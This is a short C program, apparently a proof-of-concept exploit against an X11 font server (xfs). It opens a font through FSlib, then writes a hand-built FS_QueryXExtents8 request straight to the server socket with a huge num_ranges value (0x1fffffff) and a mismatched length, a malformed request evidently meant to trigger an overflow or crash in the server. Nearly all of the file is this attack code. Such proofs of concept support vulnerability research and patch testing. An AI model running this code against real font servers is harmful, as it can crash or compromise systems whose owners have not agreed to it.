/* gcc -Wall -I/usr/X11R6/include tfs.c -L/usr/X11R6/lib -lFS */
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <X11/fonts/FSlib.h>

fsQueryXExtents8Req req;
int
main(int argc, char *argv[])
{
	FSServer *serv;
	Font font, otherid;
	int n;
	FSXCharInfo *extents;
	size_t len;
	char *buf;

	if (argc != 3) 
		errx(2, "syntax %s fontserver string\n", argv[0]);
	serv = FSOpenServer(argv[1]);
	if (serv == NULL)
		errx(2, "FSOpenServer failed\n");
	font = FSOpenBitmapFont(serv, 0, 0, "fixed", &otherid);
	if (font == NULL)
		errx(2, "FSOpenXBitmap failed\n");
	len = strlen(argv[2]);
	n = FSQueryXExtents8(serv, font, False, argv[2], len, &extents);
	
	printf("FSQueryExtents8 returns %d\n", n);

	/* Now build a bad request */
	req.reqType = FS_QueryXExtents8;
	req.length = 5;
	req.fid = font;
	req.num_ranges = 0x1fffffff;

	buf = malloc(sizeof(req) + len);
	memcpy(buf, &req, sizeof(req));
	memcpy(buf+sizeof(req), argv[2], len);
	write(serv->fd, buf, sizeof(req) + len);

	FSCloseFont(serv, font);
	FSCloseServer(serv);
	return 0;
}